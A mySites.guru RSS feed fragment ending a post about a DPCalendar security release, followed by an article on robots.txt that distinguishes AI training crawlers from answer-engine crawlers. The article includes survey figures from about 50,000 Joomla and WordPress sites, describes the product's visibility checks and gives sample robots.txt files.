&lt;li&gt;&lt;strong&gt;2026-09-10&lt;/strong&gt; The CVE range is widened and the credit added CVE-2026-78071 is updated to cover 7.0.0-8.19.5 and 9.0.0-10.12.0, the two builds that still held the missed sink, and lists a second finder. Digital Peak adds a line to its announcement crediting mySites.guru for the map view issue.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-10&lt;/strong&gt; No CVE for the other eleven The announcement identifies the remaining issues only by internal tracker numbers. Assignment through the Joomla CNA commonly follows a release by several days.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://joomla.digital-peak.com/blog/claude-security-audit-results&quot;&gt;Digital Peak&apos;s own announcement&lt;/a&gt; - the vendor&apos;s write-up, and the source for every severity rating quoted here.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/dpcalendar-order-by-sqli-location-xss/&quot;&gt;DPCalendar 10.12.0 fixes an SQL injection and an XSS&lt;/a&gt; - the August release, two weeks before this one, and the reason the location title fix looks familiar.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/&quot;&gt;The unauthenticated SQL injection we found in DPCalendar in July&lt;/a&gt; - the flaw to check first if you have not updated since June.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/events-booking-invoice-idor/&quot;&gt;Events Booking for Joomla exposes personal and financial data from invoices&lt;/a&gt; - the same missing-access-check pattern as the DPAttachments download flaw, in a different extension.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/we-are-not-the-only-ones-auditing-joomla-extensions/&quot;&gt;We are not the only ones auditing Joomla extensions&lt;/a&gt; - the wider pattern this release fits into.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/joomla-extension-security-disclosure-standard/&quot;&gt;Twenty Rules for Joomla Extension Developers Handling a Security Report&lt;/a&gt; - the published standard a release like this can be measured against.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/862.html&quot;&gt;CWE-862: Missing Authorization&lt;/a&gt;, &lt;a href=&quot;https://cwe.mitre.org/data/definitions/79.html&quot;&gt;CWE-79: Cross-site Scripting&lt;/a&gt; and &lt;a href=&quot;https://cwe.mitre.org/data/definitions/22.html&quot;&gt;CWE-22: Path Traversal&lt;/a&gt; - the standard references for the three weakness classes in this release.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://joomla3security.com/vendors/digital-peak/&quot;&gt;Digital Peak&apos;s Joomla 3 record&lt;/a&gt; - what the vendor has said about the DPCalendar 8.x branch and each security release it has shipped for it.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>joomla 3</category><category>dpcalendar</category><category>dpattachments</category><category>vulnerability</category><category>ai</category><enclosure url="https://mysites.guru/img/og/blog/digital-peak-claude-security-audit-release.png" length="0" type="image/png"/></item><item><title>Block AI training if you want. Never block AI answers.</title><link>https://mysites.guru/blog/robots-txt-for-joomla-and-wordpress/</link><guid isPermaLink="true">https://mysites.guru/blog/robots-txt-for-joomla-and-wordpress/</guid><description>Blocking GPTBot costs you nothing. Blocking OAI-SearchBot deletes you from ChatGPT. What 50,000 live robots.txt files show about telling them apart.</description><pubDate>Thu, 10 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Somebody reads an article about AI scrapers, opens their &lt;code&gt;robots.txt&lt;/code&gt;, pastes in a list of bot names, and saves. It feels like a small act of housekeeping. On some of the sites we measured, it was the moment their site stopped being citable in ChatGPT, Claude, Perplexity or Apple’s answers, and no one noticed, because a site that has been deleted from an AI assistant looks exactly like a site that was never in one.&lt;/p&gt;
&lt;p&gt;So we went and read the live &lt;code&gt;robots.txt&lt;/code&gt; of roughly 50,000 Joomla and WordPress sites. Among the Joomla sites that had written any AI policy at all, 10.8% had blocked an answer engine. The people getting this wrong are the ones who thought hardest about it.&lt;/p&gt;
&lt;p&gt;So mySites.guru now checks this on every site, twice a day, and the checks are built around one distinction that almost no guide on the internet makes.&lt;/p&gt;
&lt;h2&gt;The distinction that decides whether AI costs you anything&lt;/h2&gt;
&lt;p&gt;Every major AI company runs more than one crawler, and they do different jobs.&lt;/p&gt;
&lt;p&gt;One collects content to train or ground a model. Turning it away is a legitimate editorial decision about your own content, and it costs you nothing that anybody can measure. &lt;a href=&quot;https://developers.google.com/search/docs/crawling-indexing/google-common-crawlers&quot;&gt;Google says so about its own opt-out&lt;/a&gt; in as many words: Google-Extended “does not impact a site’s inclusion in Google Search nor is it used as a ranking signal in Google Search.” &lt;a href=&quot;https://support.apple.com/en-us/119829&quot;&gt;Apple says&lt;/a&gt; webpages that disallow Applebot-Extended can still appear in search results. &lt;a href=&quot;https://duckduckgo.com/duckduckgo-help-pages/duckassistbot/&quot;&gt;DuckDuckGo&lt;/a&gt; makes the same promise. If you want to opt out of training, opt out of training. It is free.&lt;/p&gt;
&lt;p&gt;The other decides whether an assistant can cite you when somebody asks it a question your site answers. Blocking that one removes you from a place a growing number of people now ask their questions, and the traffic does not return when you change your mind six months later, because nothing has recrawled you.&lt;/p&gt;
&lt;p&gt;The two look identical in a &lt;code&gt;robots.txt&lt;/code&gt;. Both are a &lt;code&gt;User-agent:&lt;/code&gt; line and a &lt;code&gt;Disallow: /&lt;/code&gt;. Nothing in the file tells you which is which, and the advice circulating online does not separate them, so people who meant the first do the second.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;The single most common mistake is one word long&lt;/p&gt;&lt;div&gt;&lt;p&gt;&lt;code&gt;Applebot-Extended&lt;/code&gt; is Apple’s training opt-out, and &lt;a href=&quot;https://support.apple.com/en-us/119829&quot;&gt;Apple’s own documentation&lt;/a&gt; states that it does not crawl webpages at all. &lt;code&gt;Applebot&lt;/code&gt; is Apple’s search crawler, and it feeds Siri and Spotlight. In the 1,000 files we parsed crawler by crawler, every site that had shut out an answer engine had also blocked plain &lt;code&gt;Applebot&lt;/code&gt;. None had meant to. They lost Apple search and stopped no training whatsoever.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;What each crawler is actually for&lt;/h2&gt;
&lt;p&gt;Here is the taxonomy the mySites.guru checks reason in, taken from each vendor’s own documentation rather than from a community blocklist.&lt;/p&gt;
&lt;dl&gt;&lt;div&gt;&lt;dt&gt;Training crawlers&lt;/dt&gt;&lt;dd&gt;GPTBot, ClaudeBot, CCBot, Bytespider, meta-externalagent and others collect content to train models. Google-Extended and Applebot-Extended belong here too, though neither is really a crawler: both are opt-out tokens applied to data a different bot already fetched. Blocking any of these costs you nothing in search or answer visibility.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Answer engines&lt;/dt&gt;&lt;dd&gt;OAI-SearchBot, Claude-SearchBot, PerplexityBot and DuckAssistBot decide whether an assistant can find and cite you. Blocking one deletes you from that assistant. This is the set no one means to block, and 10.8% of Joomla sites with a written AI policy had blocked one.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Search crawlers&lt;/dt&gt;&lt;dd&gt;Googlebot, Bingbot, Applebot, Yandexbot and the rest. Blocking one removes you from that search engine. On the sites we sampled these were almost always collateral damage from a blocklist aimed at something else.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;User-initiated fetchers&lt;/dt&gt;&lt;dd&gt;ChatGPT-User, Claude-User, Perplexity-User fetch one page because a human asked about it. Blocking these does not affect training or indexing. It breaks the case where your own visitor pastes your URL into an assistant and asks a question about it.&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;
&lt;p&gt;The pairs are worth memorising, because getting one wrong is how the damage happens. GPTBot pairs with OAI-SearchBot. ClaudeBot pairs with Claude-SearchBot. Google-Extended pairs with Googlebot. Applebot-Extended pairs with Applebot. In each pair the first is the training opt-out and the second is your visibility.&lt;/p&gt;
&lt;p&gt;One site in our sample had blocked GPTBot, ClaudeBot, anthropic-ai and Applebot-Extended alongside OAI-SearchBot, Claude-SearchBot and Applebot. It opted out of training and deleted itself from every answer engine in the same edit.&lt;/p&gt;
&lt;h2&gt;Does robots.txt keep a page out of Google?&lt;/h2&gt;
&lt;p&gt;It does not, and Google is unusually blunt about this. Its &lt;a href=&quot;https://developers.google.com/search/docs/crawling-indexing/robots/intro&quot;&gt;official introduction to robots.txt&lt;/a&gt; opens with a boxed warning:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Google Search Central, in a box marked Warning&lt;/p&gt;&lt;div&gt;&lt;p&gt;“Don’t use a robots.txt file as a means to hide your web pages (including PDFs and other text-based formats supported by Google) from Google Search results. If other pages point to your page with descriptive text, Google could still index the URL without visiting the page. If you want to block your page from search results, use another method such as password protection or noindex.”&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The same page says it in the opening paragraph too: robots.txt “is used mainly to avoid overloading your site with requests; it is not a mechanism for keeping a web page out of Google.”&lt;/p&gt;
&lt;p&gt;The mechanism is simple once stated. &lt;code&gt;robots.txt&lt;/code&gt; controls crawling. It has never controlled indexing. If another site links to a URL you have disallowed, Google can index that URL from the link alone, and it will appear in results as a bare link with no description, because Googlebot was told not to fetch the page and so has nothing to describe it with.&lt;/p&gt;
&lt;p&gt;This catches people out constantly, because it is the opposite of what the action looks like it does. Blocking a page in &lt;code&gt;robots.txt&lt;/code&gt; prevents Google from ever seeing a &lt;code&gt;noindex&lt;/code&gt; tag on that page. Google’s &lt;a href=&quot;https://developers.google.com/search/docs/crawling-indexing/block-indexing&quot;&gt;own guidance on noindex&lt;/a&gt; spells it out: for the rule to work, the page “must not be blocked by a robots.txt file”, because a crawler that cannot fetch the page never reads the tag. If you want something gone, let the crawler in so it can be told to leave.&lt;/p&gt;
&lt;p&gt;Google’s &lt;a href=&quot;https://developers.google.com/crawling/docs/robots-txt/robots-txt-spec&quot;&gt;own specification page&lt;/a&gt; puts the same point in one line: Google “can’t index the content of pages which are disallowed for crawling, but it may still index the URL and show it in search results without a snippet.”&lt;/p&gt;
&lt;p&gt;Search Console reports this state as “Indexed, though blocked by robots.txt”, and in a Reddit thread &lt;a href=&quot;https://www.searchenginejournal.com/google-explains-why-urls-blocked-by-robots-txt-can-still-be-indexed/579634/&quot;&gt;covered by Search Engine Journal in June 2026&lt;/a&gt; one WooCommerce site owner found 51,000 pages sitting in it. A block is not retroactive either. Pages already in an index stay there until they are recrawled, and a crawler that is not allowed to fetch a page cannot see that it has changed.&lt;/p&gt;
&lt;h2&gt;Do crawlers have to obey robots.txt?&lt;/h2&gt;
&lt;p&gt;No. This is a request, not a control, and the standard says so itself. &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc9309.html&quot;&gt;RFC 9309&lt;/a&gt;, published in September 2022, describes rules that crawlers “are requested to honor when accessing URIs”, and then states directly that “these rules are not a form of access authorization.” Its security considerations go further: the protocol “is not a substitute for valid content security measures”, and listing a path in &lt;code&gt;robots.txt&lt;/code&gt; publishes that path to anybody who reads the file.&lt;/p&gt;
&lt;p&gt;Compliance is a choice each operator makes, and some of them have written the carve-out into their own documentation. &lt;a href=&quot;https://developers.openai.com/api/docs/bots&quot;&gt;OpenAI’s crawler docs&lt;/a&gt; say &lt;code&gt;robots.txt&lt;/code&gt; rules may not apply to ChatGPT-User, on the grounds that a person asked for that specific page. &lt;a href=&quot;https://docs.perplexity.ai/guides/bots&quot;&gt;Perplexity says the same&lt;/a&gt; of Perplexity-User. &lt;a href=&quot;https://support.claude.com/en/articles/8896518&quot;&gt;Anthropic is the exception&lt;/a&gt; and states that all three of its bots respect the file. &lt;a href=&quot;https://tollbit.com/state-of-the-bots/&quot;&gt;TollBit’s State of the Bots&lt;/a&gt; data for the first half of 2026, &lt;a href=&quot;https://www.searchenginejournal.com/openai-says-robots-txt-may-not-apply-to-chatgpts-fetch-bot/585864/&quot;&gt;reported by Search Engine Journal in August&lt;/a&gt;, found that around 15% of identified AI page-fetchers reached URLs the site had marked as disallowed, with ChatGPT-User, Bytespider and Youbot each doing so on nearly half of the European sites that had explicitly listed them.&lt;/p&gt;
&lt;p&gt;Every crawler that matters for your visibility does read it and does honour it, which is why a mistake in it is expensive. It does mean the file can only ask; it cannot enforce anything. If content must not be reachable, it needs authentication or a server-side rule, not a line in a text file that everybody can read.&lt;/p&gt;
&lt;h2&gt;What 50,000 live robots.txt files actually look like&lt;/h2&gt;
&lt;p&gt;Since these checks shipped, mySites.guru has sampled the &lt;code&gt;robots.txt&lt;/code&gt; of roughly 50,000 connected Joomla and WordPress sites, the way a crawler does: over the public internet, from the host root. About 45,000 of them returned something that parsed. Everything in this section is measured, not modelled.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10.8%&lt;/div&gt;&lt;div&gt;of Joomla sites with an AI policy blocked an answer engine&lt;/div&gt;&lt;div&gt;2.3% on WordPress&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;81.6%&lt;/div&gt;&lt;div&gt;of Joomla sites declare no sitemap&lt;/div&gt;&lt;div&gt;12.5% on WordPress&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;7.2%&lt;/div&gt;&lt;div&gt;of Joomla sites serve no readable robots.txt&lt;/div&gt;&lt;div&gt;9.6% on WordPress&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;1.5%&lt;/div&gt;&lt;div&gt;of Joomla sites are hidden from every crawler&lt;/div&gt;&lt;div&gt;0.4% on WordPress&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Roughly 50,000 connected Joomla and WordPress sites, live robots.txt fetched from September 2026 onwards. Figures are a point-in-time measurement and will drift as sites are fixed.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;The reassuring finding is the one that does not fit in a card. Almost no one has touched this at all: in a separate pass where we parsed 1,000 files crawler by crawler, 96.7% of Joomla sites and 83.2% of WordPress sites named no AI crawler anywhere in the file. Nothing in this post is an argument that you must go and add AI directives. Doing nothing is a perfectly good policy and it is the one most sites already have.&lt;/p&gt;
&lt;p&gt;The 7.2% and 9.6% are the surprise. The commonest finding in the group is not a bad rule, it is no readable file at all: a 404, a 403, a timeout, or a themed HTML error page served with a 200 status. That last shape matters more than it sounds, because a naive checker reads a 200 response as a valid file and reports “no rules, everything allowed” when no one can see the file.&lt;/p&gt;
&lt;p&gt;About 1.5% of Joomla sites and 0.4% of WordPress sites are serving &lt;code&gt;User-agent: *&lt;/code&gt; with &lt;code&gt;Disallow: /&lt;/code&gt;. These are live business sites, asking every search engine and assistant on earth to stay away from everything. The overwhelmingly common cause is a launch that never finished: somebody blocks the site while it is being built, which is correct, and then the site goes live and nothing visibly changes. Pages load, links work, forms submit. The only symptom is the site never appears anywhere.&lt;/p&gt;
&lt;p&gt;None of this was a research project. We did not commission a study or crawl the open web: we ran a query against data the product already holds, because every connected site is read on its own schedule anyway and the readings sit in a column. Most writing about AI crawlers has to argue from first principles about what site owners probably do. We can go and look at &lt;a href=&quot;https://mysites.guru/blog/what-site-audits-reveal-about-joomla-and-wordpress-security/&quot;&gt;what tens of thousands of them actually did&lt;/a&gt;, get an answer the same afternoon, and re-run it next month to see whether any of it moved.&lt;/p&gt;
&lt;h2&gt;WordPress owners are getting this right more often than Joomla owners&lt;/h2&gt;
&lt;p&gt;This was the finding we did not expect, and it came through both datasets.&lt;/p&gt;
&lt;p&gt;WordPress owners set an AI policy far more often. Across everything measured, 6.9% of WordPress sites turn away at least one training crawler against 4.4% of Joomla sites, and in the 1,000 files we parsed name by name the gap was wider still: 16.3% of WordPress files named and blocked an AI crawler, against 3.3% of Joomla files. More WordPress owners have made a decision here.&lt;/p&gt;
&lt;p&gt;They also do far less damage with it. Of the sites that had written any AI policy at all, 10.8% of Joomla sites had blocked an answer engine against 2.3% of WordPress sites. In the 1,000-file sample the same gap shows up in the raw counts: seven of the 23 Joomla files with a policy (30%) had also shut out a search or answer crawler, against four of the 33 WordPress files (12%). Every one of the five sites that had blocked an answer engine was a Joomla site, and every one of those five had also blocked plain &lt;code&gt;Applebot&lt;/code&gt; while blocking eleven or twelve training crawlers in the same paste. The WordPress mistakes were milder in kind: DuckDuckBot and Baiduspider, which costs a search engine each, and no answer engines at all.&lt;/p&gt;
&lt;p&gt;The explanation is where the policy comes from, rather than which community is more careful. On WordPress it usually arrives generated, from Cloudflare’s managed file or an SEO plugin, and both of those got the training-versus-answers split right because somebody who understood the taxonomy wrote them once. &lt;code&gt;Content-Signal&lt;/code&gt; lines appeared on 13.9% of the WordPress files we parsed and 1.6% of the Joomla ones, which is that same edge-generated policy showing up in the data. On Joomla the policy is far more often hand-pasted from a community blocklist into a file the owner edits directly, and a pasted list is exactly the artefact that cannot tell a trainer from its answer twin.&lt;/p&gt;
&lt;p&gt;Generated policies respect the distinction. Copied ones do not, and that has nothing to do with which CMS you run.&lt;/p&gt;
&lt;h2&gt;The nine checks mySites.guru now runs on every snapshot&lt;/h2&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/search-engine-visibility-snapshot-group.Cjx2qlgQ_1R1gRO.webp&quot; alt=&quot;The Search Engine Visibility group on a site&apos;s Snapshot tab in mySites.guru, listing nine robots.txt checks with a status badge against each: OK against Should Not Block Every Crawler, Should Not Block Search Engines, Should Not Block AI Answer Engines, Should Be Reachable, Must Sit At The Domain Root and Should Not Block Media and Template Folders; None against Should Point Crawlers At Your Sitemap; Open against Your AI Training And Answer Engine Policy; and Direct against Your Robots.txt May Be Managed At The Edge&quot; loading=&quot;lazy&quot; width=&quot;1724&quot; height=&quot;748&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;A healthy Joomla site. Six measured passes, a sitemap it has not declared, an open AI policy, and a robots.txt served straight from its own server.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;There is a new group on every site’s Snapshot tab called Search Engine Visibility. Joomla gets nine checks and WordPress gets eight, and mySites.guru fetches your live &lt;code&gt;robots.txt&lt;/code&gt; from your domain root at most twice a day &lt;a href=&quot;https://mysites.guru/blog/snapshot-vs-audit-whats-the-difference/&quot;&gt;behind a snapshot&lt;/a&gt;.&lt;/p&gt;
&lt;dl&gt;&lt;div&gt;&lt;dt&gt;Should Not Block Every Crawler&lt;/dt&gt;&lt;dd&gt;Fires on User-agent: * plus Disallow: /, the single most damaging line a robots.txt can contain. Has a one-click fix, and it is downgraded to a neutral Staging badge on hosts that look like dev or staging addresses, where blocking everything is the correct setting.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Should Not Block Search Engines&lt;/dt&gt;&lt;dd&gt;Fires when Googlebot, Bingbot, Applebot or another search crawler is named and shut out. One-click fix restores access to that crawler and touches nothing else.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Should Not Block AI Answer Engines&lt;/dt&gt;&lt;dd&gt;The check the whole group was built to make. Fires on OAI-SearchBot, Claude-SearchBot, PerplexityBot or DuckAssistBot. It also names the vendor own-goals, where both sides of a pair are blocked, and the Applebot mix-up specifically.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Should Be Reachable&lt;/dt&gt;&lt;dd&gt;Confirms that a request for /robots.txt returns a robots.txt. Has no fix button: the whole finding is that we cannot read a file, and writing a fresh one would guess at rules your site may already have.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Must Sit At The Domain Root&lt;/dt&gt;&lt;dd&gt;0.9% of Joomla sites and 0.6% of WordPress sites are installed below the document root, so the robots.txt inside the site folder is read by nothing. No fix button, because the file has to go above the site root and every write mySites.guru makes is confined to it by design.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Should Point Crawlers At Your Sitemap&lt;/dt&gt;&lt;dd&gt;Two tiers. If you have a sitemap and never declare it, that is a warning with a one-click fix. If you have no sitemap at all, that is a neutral badge and no advice, because &apos;add a Sitemap line&apos; is useless to somebody with nothing to point at.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Your AI Training And Answer Engine Policy&lt;/dt&gt;&lt;dd&gt;Informational and never a fault. It shows which AI crawlers your file turns away and separates the ones that cost you nothing from the ones that remove you from assistants. Two badges, Open and Opt-out, and both are correct answers.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;May Be Managed At The Edge&lt;/dt&gt;&lt;dd&gt;Compares a hash of the file on your server against a hash of the file crawlers are served. When they disagree, something in front of your site is generating its own, and editing your copy changes nothing.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Should Not Block Media &amp;amp; Template Folders&lt;/dt&gt;&lt;dd&gt;Joomla only, and the one check that predates this group. Blocking /media/ or /templates/ stops Google fetching the CSS, JavaScript and images it needs to render your pages.&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;
&lt;p&gt;All nine ship with a BETA badge in the interface. The crawler taxonomy behind them changes on the vendors’ schedule rather than ours, so if you find a token classified wrongly, tell us and we will fix it.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;What the badges mean&lt;/p&gt;&lt;div&gt;&lt;p&gt;A green &lt;strong&gt;OK&lt;/strong&gt; is a measured pass. A grey &lt;strong&gt;No Data&lt;/strong&gt; means mySites.guru has not fetched that site’s &lt;code&gt;robots.txt&lt;/code&gt; yet, and it is not a pass. Every one of the underlying columns is nullable, and reading an unfetched site as healthy would have put a green tick on tens of thousands of sites on the day this shipped, having measured none of them.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Why a pasted AI blocklist can block Googlebot too&lt;/h2&gt;
&lt;p&gt;This is the mechanism that turns a careless paste into a disaster, and it is a quirk of the format rather than anybody’s bug.&lt;/p&gt;
&lt;p&gt;Under RFC 9309, consecutive &lt;code&gt;User-agent:&lt;/code&gt; lines accumulate into one group, and the first rule line closes the header. So this blocks both bots:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;User-agent: GPTBot&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;User-agent: CCBot&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The related trap is the specificity rule. A crawler obeys the most specific group that names it, and ignores every other group in the file, including the wildcard. John Mueller &lt;a href=&quot;https://www.searchenginejournal.com/google-says-why-it-may-ignore-robots-txt-and-negatively-impact-seo/583475/&quot;&gt;explained this on Reddit in July 2026&lt;/a&gt; to a site owner whose disallowed search pages were being indexed anyway: “With robots.txt, the more specific rules win, so if you have a user-agent: Googlebot section, it will only use that section. If you want to apply all the rules in the user-agent: * section, you need to copy them.”&lt;/p&gt;
&lt;p&gt;Put those two together and you can see how a file goes wrong. Append a block of crawler names to a file whose last line happens to be a dangling &lt;code&gt;User-agent: Googlebot&lt;/code&gt; header, and your names join that group. The &lt;code&gt;Disallow: /&lt;/code&gt; you write next then applies to Googlebot as well. Nothing about the text you pasted is wrong. The meaning came from the file you pasted it into.&lt;/p&gt;
&lt;p&gt;This is why the mySites.guru training opt-out re-parses its own proposed output before sending it, and will not write at all if any search or answer crawler would end up blocked by the result. Three unit tests pin that behaviour. It is the only place in the whole feature where a bug would take a site out of search results rather than putting one back in.&lt;/p&gt;
&lt;h2&gt;Why naming crawlers cannot be made to work&lt;/h2&gt;
&lt;p&gt;Blocking crawlers by name is Whac-A-Mole, and that is why we built the tools the way we did.&lt;/p&gt;
&lt;p&gt;Your &lt;code&gt;robots.txt&lt;/code&gt; can only ever name the bots you have heard of. It cannot name the far greater number you have not, and it cannot name the ones that do not exist yet, so every new AI company is another line somebody has to remember to add. And it will never name the crawlers that ignore the file altogether, because a list of names only works on the ones polite enough to read it. You end up playing Whac-A-Mole with bot names and their access to your site, which is an unsustainable position to be in. It is &lt;a href=&quot;https://mysites.guru/blog/your-htaccess-wont-stop-a-joomla-hack/&quot;&gt;the same argument that sinks .htaccess blocklists&lt;/a&gt;: a list can only ever hold the bad things you already know about.&lt;/p&gt;
&lt;p&gt;The practical failure mode is the one our sample shows. A blocklist gets populated with famous names, and the famous names are the search and answer crawlers, so the list fails at its own goal and succeeds only at removing the site from results.&lt;/p&gt;
&lt;p&gt;The worst file in the 1,000 we parsed had a single group owning 147 product tokens, ending in one &lt;code&gt;Disallow: /&lt;/code&gt;. Applebot, OAI-SearchBot and PerplexityBot were all in it, alongside GPTBot, GoogleOther, DuckAssistBot and Claude-SearchBot. It was copied wholesale from a community blocklist. The same file had its &lt;code&gt;Sitemap:&lt;/code&gt; line commented out, and the URL in the comment was misspelled anyway.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;On comprehensive AI blocklists&lt;/p&gt;&lt;div&gt;&lt;p&gt;A longer list is not a more complete one. It is a longer list that is still missing everything no one has heard of, while reading to you as though it were a wall. Anyone selling a comprehensive AI blocklist is selling a file that was out of date the day it was written. Opt out if you want to reserve the right, but do not mistake it for a lock.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;What we recommend, and why it names no crawlers&lt;/h2&gt;
&lt;p&gt;The per-site &lt;code&gt;robots.txt&lt;/code&gt; page in mySites.guru offers a recommended file, built from your actual site: your own install path, your own real sitemap URL, your own domain in the header comment. Nothing in it says &lt;code&gt;example.com&lt;/code&gt;, because a customer who pastes an example domain into their live file has been actively misled.&lt;/p&gt;
&lt;p&gt;For a Joomla site at the domain root it looks like this.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;# robots.txt for https://example.org&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;# Everything below is allowed unless it is named here.&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;User-agent: *&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /administrator/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /api/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /bin/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /cache/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /cli/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /components/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /includes/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /installation/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /language/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /layouts/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /libraries/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /logs/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /modules/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /plugins/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /tmp/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Sitemap: https://example.org/sitemap.xml&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For WordPress it is shorter, and includes the &lt;code&gt;Allow&lt;/code&gt; line that keeps &lt;code&gt;admin-ajax.php&lt;/code&gt; reachable for the front end.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;User-agent: *&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /wp-admin/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Allow: /wp-admin/admin-ajax.php&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Sitemap: https://example.org/wp-sitemap.xml&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Notice what is missing. There is not one crawler named in either file. No AI blocks, no allowlist, no vendor tokens. It does not disallow &lt;code&gt;/media/&lt;/code&gt; or &lt;code&gt;/templates/&lt;/code&gt; on Joomla either, because blocking those is a finding in its own right and reproducing it in our own recommendation would be recommending the bug.&lt;/p&gt;
&lt;p&gt;If you do want to opt out of training, there is a button for it, and it writes exactly five names: &lt;code&gt;GPTBot&lt;/code&gt;, &lt;code&gt;ClaudeBot&lt;/code&gt;, &lt;code&gt;Google-Extended&lt;/code&gt;, &lt;code&gt;Applebot-Extended&lt;/code&gt; and &lt;code&gt;CCBot&lt;/code&gt;. Those are the five whose opt-out tokens the vendors themselves document. We will not put a token in your file on the strength of a blog post.&lt;/p&gt;
&lt;p&gt;That button is the only write in the entire group that adds a block. The other four fixes all restore access. The asymmetry runs deeper than that: the all-sites page has one bulk action and it only ever restores. There is no bulk block button and there never will be, because a single mis-click on one would delete a company’s entire web presence from every search engine on earth, take weeks to notice and months to recover.&lt;/p&gt;
